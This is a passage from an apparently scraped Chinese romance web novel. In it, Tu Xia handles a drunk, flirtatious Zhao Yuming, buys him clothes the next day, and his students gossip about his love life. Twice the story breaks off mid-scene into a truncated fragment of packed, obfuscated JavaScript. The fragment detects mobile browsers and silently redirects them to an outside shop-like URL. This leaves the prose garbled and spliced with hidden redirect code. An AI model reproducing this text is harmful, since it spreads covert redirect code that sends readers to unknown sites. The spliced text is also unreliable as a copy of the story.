涂夏笑了一下,扭过头,冲着对面那群正跳得热火朝天的大爷大妈扬了扬下巴,“我老了以后,说不定就是这些老太太里的一员,拿个扇子扭秧歌,或者拎把桃木剑练太极。你呢就约着几个关系好的老头下象棋,讨论点兵法。” 赵聿明顺着她的视线,看向广场中央,摇着头说:“不一定。” “为什么?”涂夏问。 “我们可以去旅游散心,或者找个山清水秀的地方养老。”赵聿明说完轻声笑了一下,“如果你喜欢跳广场舞的话,我陪你一起跳,我才不要和别的老头下象棋。” 涂夏也笑了,“美的你。” 赵聿明:“你不想吗?” “不想。”涂夏摇头,“欸,赵聿明,咱俩朝夕相处那么久,我就没见你有什么兴趣爱好,你人生的前三十年,不会都用来看书学习了吧?” “差不多吧。”赵聿明说,“上学的时候不知道要做什么,只能学习,大学毕业后也不知道要做什么就考了研,读了博,留在学校工作。” 涂夏扭头问他:“挺枯燥的吧?” 赵聿明扯了扯嘴角,“还好,都习惯了。” 涂夏哎呦了一声,逗他:“这么可怜啊?” “嗯呐。”赵聿明笑了笑,“你疼疼我呗。” “好啊。我疼你。”涂夏捏了捏他的手心。 晚风轻轻地吹过,掀起发丝和衣角,涂夏脸上洋溢着幸福的微笑,赵聿明的脸和耳朵也都红了,不知道是因为酒精作用,还是被她这句“我疼你”给哄的。 在长椅上坐了一刻钟的时间,涂夏牵着赵聿明的手绕着小路走了一圈,等他胃里没那么难受了才回去。 涂夏回客厅拿上包,说:“爸妈,我今晚就不在家住了。” 涂妈说:“你送完小赵再回来呗。” “太折腾了。”涂夏打了个哈欠,“我昨天夜班,今天也没睡多长时间,我真的好困。” “行吧行吧。”涂妈摆摆手,“注意安全。” 涂夏点点头,笑着说:“好嘞,爸妈你们也早点休息,我和赵聿明就先走了。” 涂爸嗯了一声,“回去报个平安。” “知道啦,拜拜。”涂夏挥了挥手,转身出了家门,她找到守在一旁的赵聿明,轻拍两下他的脸颊,“困了?” 赵聿明:“有点。” 涂夏:“上车,今天你坐副驾驶。” 车子缓缓发动,龟速行驶在路上,涂夏双手握着方向盘,聚精会神地目视前方。狭小的车厢里有些酒气,熏的人难受,她把车窗两侧都降了一半,冷风灌进来,吹得人直接清醒。 赵聿明一手攥着安全带,一手抓着副驾驶顶上的扶手,精神高度集中。 一路上有惊无险,平安到家。 “你这样洗澡行吗?”涂夏看见赵聿明边脱衣服边往主卧走,外套,衬衫,领带,统统暴力扯下,随手往旁边柜子上一丢,潇洒极了。 熟悉的空间里,只有他们两个,赵聿明借着酒意说起了浑话:“你要帮我吗?” 涂夏被他这句话噎了一下,静了两秒,“也不是不可以。” “嗯?”赵聿明浑身上下就剩裤子了,他的肩膀微微塌陷,腰腹也窝了下去,他回身看向涂夏,忽然扯着嘴角笑了一下,那副模样看起来就像个被色欲熏心的老流氓,“你过来。” “干嘛?”涂夏问。 赵聿明抬起胳膊冲她勾了勾手指,似笑非笑地说:“不是要帮我洗澡吗?” 涂夏哦了一声,沉默片刻说:“我后悔了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781380|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一言既出,驷马难追,说出去的话泼出去的水,还能收回来?”赵聿明大步流星地走到涂夏面前,单手揽住她的后腰,屈膝下蹲,稍一用力她的双脚就离了地,“不是说疼我吗?” 涂夏扑腾着两条腿,说什么也要从他身上跳下来,她瞪了眼赵聿明,说:“我又没说这样疼你,我可以给你做饭,可以给你洗衣服,可以给你讲睡前故事,但就是不能……” 赵聿明追问道:“不能什么?” “不能…给你洗澡。”涂夏声音小了许多,她也有点不好意思了,“哎呀,你快放我下来,你满身酒气,熏死了,我不要你抱。” “我自己洗,你在旁边监督。”赵聿明才不管她想不想,要不要,他知道自己在恋爱里没什么优势,也就身材还凑活。他甚至一度想去夜店里找个男模拜师,好好学学狐媚子那一套。 卫生间门关上,涂夏坐在浴缸沿上,距离赵聿明仅有一步之遥,他低头解着腰带,随之传来咔哒咔哒的声音,传进耳朵里,像是指尖拨动紧绷的弦,勾得人欲罢不能。 裤子褪下,双腿之间,是鼓鼓囊囊的一团,涂夏只看了一眼,就害羞地别开脸。 赵聿明站在花洒下,打开开关,温热的水浇在他肩膀上,顺着胸膛后背七拐八斜地往腿间流,最后落在两人脚下,顺着乳白色的瓷砖流向下水道。热气蒸腾,涂夏整张脸都变得红彤彤的,衣服被打湿,贴在身上,一阵冷一阵热,特别难受。 涂夏想,赵聿明真的有人格分裂,人前成熟持重,稳如老狗;人后搔首弄姿,满眼妖气。 两人对视一眼,涂夏说:“你先洗着,我去给你拿睡衣。” “有浴袍。”赵聿明不让她走。 “我身上湿乎乎的不舒服,去换件衣服。” 涂夏说完要走,赵聿明向前一步拦住她的去路,他理直气壮地说:“反正一会儿要洗澡,就先凑活穿几分钟。” “凑活不了一点。”涂夏从他身旁绕开,一刻不停地往外走,她打开卫生间的门出去,临关门前骂了一句:“老流氓!臭不要脸。” 赵聿明没忍住笑了。 涂夏从狼窝里逃走,怎么可能还会回去。 十五分钟后,赵聿明从主卧出来,他穿了件浴袍,腰带松松垮垮地系在腰间,领口明明能交叉叠好,他偏不,一本正经地敞着怀,头发上的水珠顺着发梢留下,全落在胸口。 卫生间传来水流声,涂夏在洗澡。 他故意使坏敲了敲门,轻咳一声:“不是说监督我洗澡吗?怎么自己先罢工了?” 涂夏正顶着一头泡沫往身上打沐浴露,她在听到赵聿明声音的那刻直接起了应激反应,脚下一个踉跄险些摔倒。站稳之后,涂夏低骂一声“真有病”,扯着嗓子冲门外喊:“赵聿明!你要发情就自己手动解决,折腾我干什么?” 赵聿明露出一个得逞般的笑,他说:“我的身体你又不是没见过,每次都这么容易害羞,以后结了婚可怎么办啊?” “结婚?”涂夏无语,“我才不嫁给你。” 赵聿明哦了一声,“你要当负心女。” 涂夏纳闷,他身上这股不要脸的劲儿,到底是跟谁学的,以前也不这样啊。 “闭嘴!”涂夏嚷了一嗓子,“不是喝醉了不舒服吗?回去睡觉。” 赵聿明敲了两下门,说:“那你快点洗,我等你给我讲睡前故事。” 涂夏:“……” 真就是搬起石头砸自己的脚。 28. 第 28 章 第二天,涂夏故意不理他,跟孟宛云打电话约了逛街,休息日,商场人流量不少,从旋转门进去,扑鼻而来的香水味,着实呛人。 “嚯。”孟宛云把手放在鼻子前挥了挥,“哪家店啊?这么舍得下本儿,都把一楼腌入味了。” 涂夏看了她一眼,“我还以为是商场装修的甲醛味,合着是香水啊?” 孟宛云笑了笑,蜷着胳膊肘,倾身压在她肩膀上,轻声说:“这商场都建多少年了,甲醛早挥发的差不多了。”她冲着涂夏挑挑眉,“跟你家赵老师吵架啦?” “嗯?”涂夏脸上写满了不解,“你从哪儿得出来的结论?” “你重色轻友啊。”孟宛云开始细数她恋爱后的一系列罪行,说什么以前每晚都跟她打视频电话,现在要隔个好几天才想起给她弹视频,以前会事无巨细的分享生活,现在无事不登三宝殿,她掰着手指头,嘴里嘟嘟囔囔地吐槽个不停。最后得出总结,两人之间已经没爱了,她像秦香莲,涂夏像抛弃糟糠之妻的陈世美。 涂夏不禁翻了个白眼,骂道:“你有病吧。” 孟宛云听到这句骂声,心里爽的要死,她回怼一句:“你才有病,还病得不轻。” 逗完闹完,两人开始沿着一楼商铺转服装店,天越来越冷,按照现在的温度趋势,再过几天就要穿棉服过冬了。 涂夏挑了件浅灰色长款大衣,问:“你觉得这颜色适合我吗?” 孟宛云回头看了眼她手上的衣服,版型中规中矩的,也挑不什么大毛病,说:“你脱了外套试试呗,看穿上效果怎么样。” “行。”涂夏把衣服挂回原位,摘掉斜挎包,抬手挂在孟宛云脖子上,笑着说:“有劳你帮我当会儿人形衣帽杆,今天中午我请你吃饭。” 孟宛云撇撇嘴,“老娘真服了。” “手机手机,快拿着。”涂夏把手机塞她怀里,脱掉外套,顺手丢在衣架上,她穿上那件浅灰色大衣,站在镜子前调整了一番,长度刚好到她小腿肚,版型宽松,两排扣子相当于摆设,不能系,系上显得死板臃肿。 孟宛云站在她身后,说:“镜子会变形,你转个身,让我看一眼。” 涂夏在原地转了一圈,“还行吧,冬天可以系条围巾遮一下,让前面显得没有那么空。” “还行。”孟宛云点点头,“里面可以搭一条稍微有点重量感的黑色长裙,到脚腕那种。” 涂夏:“家里正好有,那这大衣我就要了。” 孟宛云:“喜欢就买。” 两人又在店里转了转,孟宛云没看眼上的就说换家店看看,导购把衣服接了过去,扫码拆防盗扣。付过钱,涂夏接过购物袋,跟着她去了对面那家,店面很大,男装女装分为两个区域,导购小姐人手一个扩音器,半自助式购物,整体舒适度相较于其他店好很多。 转完女装区,涂夏瞟了眼男装区。 孟宛云捕捉到她的眼神,无奈地说:“走吧,看看有没有适合你家赵老师的衣服。” 涂夏点点头,皱着眉说:“赵聿明平常的穿衣风格太死板了,全是衬衫和西装,要不是他身材好能撑得起来,不知道的还以为他是哪家房产公司的销售员。” “老师嘛,穿严肃点好教学生,他要是穿件卡通T恤,教室房顶指不定都要被掀开了。” “有点道理。”涂夏努努嘴,她沿着指引牌走过去,忽然停下脚步,回过头,说:“我好像不知道赵聿明的衣服尺码……” 孟宛云:“身高知道吗?” 涂夏想了想,半信半疑地说:“185?” “……”孟宛云无语了,“你们相亲的时候没报年龄身高吗?” 涂夏说:“就报了个年龄。他当时住院倒是报了身高体重,但时间太长了,我记不清了。”她说完抬起手在自己头顶比划了一下,“大致这么高。” 孟宛云:“你发个信息问问吧。” “不发。”涂夏毫不犹豫地摇头,惩罚时间还没到呢,她不能这么轻易的原谅赵聿明,喝点酒就满脑子□□,简直是假正经,真闷骚。 “吵架了还买衣服哄,你的错?”孟宛云问。 “不是。”涂夏皱眉,“一句两句说不清。” 孟宛云:“你不知道尺寸,还买吗?” 涂夏思考两秒,点点头,说:“买,尺码不对再来调换嘛,他今天几次欲言又止,但我都选择了无视,现在估计搁家生闷气呢。” “你俩真是腻歪死人。”孟宛云翻了个白眼,“狗粮也不带直接塞人嘴里了,真噎挺。” “哎呀,我也给你买。”涂夏笑了笑。 孟宛云:“我可不当你俩的爱情保安。” 买完衣服,两人去四楼吃了个午饭,涂夏心不在焉地打着哈欠,孟宛云知道她心里惦记着某位赵姓男子呢,就说自己走累了要回家。 孟宛云拎着几个购物袋,拦下路边的出租车,她打开车门坐了上去,抬头说:“回到家给我发个信息报平安。” “嗯。”涂夏挥挥手,“你也注意安全。” “行。我走了。”孟宛云关上车门,很前面的司机师傅报了地址,扬长而去。 涂夏也打车回了家。 推开家门,赵聿明就站在玄关口,他抱着胳膊,脸上没什么表情,像是在无声地质问她为什么不理自己,为什么出门逛街不带他。 涂夏看赵聿明一眼,迈步进门,她随手把购物袋放在地上,弯腰换鞋。 脱掉外套,挂进门口的柜子里,她拎起购物袋,抬脚往里走,依旧无视赵聿明。 赵聿明跟在她身后,看着她洗手擦手。 “清醒了?”涂夏问。 “嗯。”赵聿明拽着她的袖子,“对不起。” 他的声音有点哑,估计跟昨晚喝酒吹风有关系,低着头,垂着眼,表情又乖又认真。 涂夏没说话,绕开他从卫生间里出去,赵聿明手不松开,慢步跟在她身后。涂夏在沙发上坐下,从购物袋里拿出一件V领黑色针织毛衣给他,“给你买的,去试试,不合适再去调换。” “给我买的?”赵聿明有些惊讶。 “嗯。”涂夏不去看他,低头把毛衣放在腿上摊开,捏着领口观察大小,“里面要搭配白色衬衫穿,买的时候不知道你尺码,估计会偏大一些。” 赵聿明愁眉不展的脸上蓦地露出笑容,他将双手撑在毛衣下摆,抬起胳膊就往头上套,反正身上是居家服,跟衬衫版型也差不多。 涂夏等他穿上,看了眼大小,正好。 “还行。”涂夏问:“穿上有哪里不舒服吗?” “没有。”赵聿明摇头,“我很喜欢。” 涂夏又把其他几件拿出来,让他依次试了试,赵聿明个子高,身条好,简直是行走的衣服架子,什么样的款式到他身上,都很好看。 试完衣服,赵聿明把涂夏箍在怀里,在她脸上又是亲又是舔的,小声地道着歉:“我知道错了,你原谅我好不好,昨天晚上我不该喝酒,不该把你抱进卫生间看……”他最后一句话还没说完,就被涂夏咬住了嘴唇。 涂夏瞪着他,口齿不清地说:“你个老流氓还好意思说,不知道害臊吗?” 赵聿明唔了一声,抬手掰开她的下巴,舌头顺势撬开牙齿,涂夏又去咬他。 忽然,涂夏呛咳一声,眼角滑落一滴生理性泪水,她大口吸气,脖颈后仰,胸脯跟着急促的呼吸上下起伏。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781381|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“浑蛋。”涂夏骂他,“你亲就亲吧,舌头往我嗓子眼里伸什么?显你舌头长啊?” 赵聿明:“我错了,下次一定改。” * 周一早上,赵聿明兴高采烈地穿上新衣服去上班,他今天心情好,进教室的时候嘴角都还挂着笑,真就是满脸春风得意。 有同学打趣道:“老师,衣服挺潮啊。” 赵聿明低头往身上看了一眼,笑着说:“女朋友给买的。” 话音刚落,台下一阵欢呼雀跃。 周巍走到讲台上,帮他弄教室投影仪,边操作电脑边问他:“老师,谈恋爱的感觉是不是很棒?” 赵聿明笑了笑,“嗯。很棒。” 周巍弄好电脑也不走了,直接撅着屁股趴在讲台桌上,撑着两条胳膊,问:“老师,您谈过几段恋爱啊?高中的时候早恋过吗?” 赵聿明静了一会,也不绕弯子,直截了当的拒绝了他的提问:“我不想回答你这些问题。” “为啥啊?”周巍心眼直,有点没脑子,依旧死皮赖脸的缠着赵聿明,“哦,我知道了,老师你长那么帅,高中时期一定被很多漂亮女同学追求过,至于恋爱嘛,只多不少咯。” 周巍的自问自答只对了一半,赵聿明高中时被同学评为校草般的存在,他长得帅,个高爱打球,成绩好,每回考试出排名就没掉出过前三。有很多人追不假,但也仅此而已,他觉得学生最主要的就是学习参加高考,其他影响成绩的事情一律不能做。 “这位同学,请不要过多打探别人的私生活,可以吗?”赵聿明看了眼时间,准备着要上课了,“你先回座位吧。” “哦。”周巍,“老师,我就好奇问问。” 赵聿明嗯了一声,“要上课了。” 周巍回到座位,翻开课本,冲着坐在自己旁边的涂浩说:“你家是本地的,认识人不?” “认识谁?”涂浩问。 周巍翻出手机,打开相册截图,找到万圣夜晚上赵聿明发的那个朋友圈,“喏,你看。” 涂浩接过手机,不耐烦地说:“看什么啊?” 周巍皱着眉,拉着脸,语气嫌弃:“整天火气这么大,跟吃了枪药一样。” “你才吃枪药呢。”涂浩只看了屏幕一眼,就把手机给他丢了过去,“不认识。” 周巍:“不认识就不认识呗。”他把自己的宝贝手机从桌子上拿起来,盯着屏幕看了一会儿,连啧几声,“真是男帅女美,我要磕CP。” 涂浩烦了,骂道:“磕你个头啊。” 他把周巍的手机抢了回来,点击删除,找到回收站,彻底删除,看个头啊看,妈的。 周巍被他这一举动整得丈二和尚摸不着头脑,光顾着心疼手机了,龇牙咧嘴地说:“你把我钢化膜都干碎了。” 涂浩:“给你掏钱贴个新的。” 周巍立刻把手机穿进兜里,大喊一声:“谢谢涂少爷。”说完还没完,又凑上去,“想吃咱爸烧的水煮鱼了,要是这周末能吃到就更好了。” “你别赛脸啊。”涂浩那张嘴一点不逊色涂夏,跟机关枪一样,突突个不停,“吃吃吃就知道吃,吃得跟头猪一样,过年你家的猪崽子们都能逃脱一死,宰你就行了。” “靠,人身攻击啊?”周巍无语了。 “不服啊?”涂浩说,“想吃鱼就给老子忍着。” 两人的声音着实不小,引得周围同学都来看他们,台上正讲课的赵聿明也注意到了,他说:“有事下课聊,现在是上课时间。” 涂浩抬头看向赵聿明,与他对视一眼。 赵聿明:“这位同学有事吗?” 涂浩轻嗤一声,摇着头说:“没事。”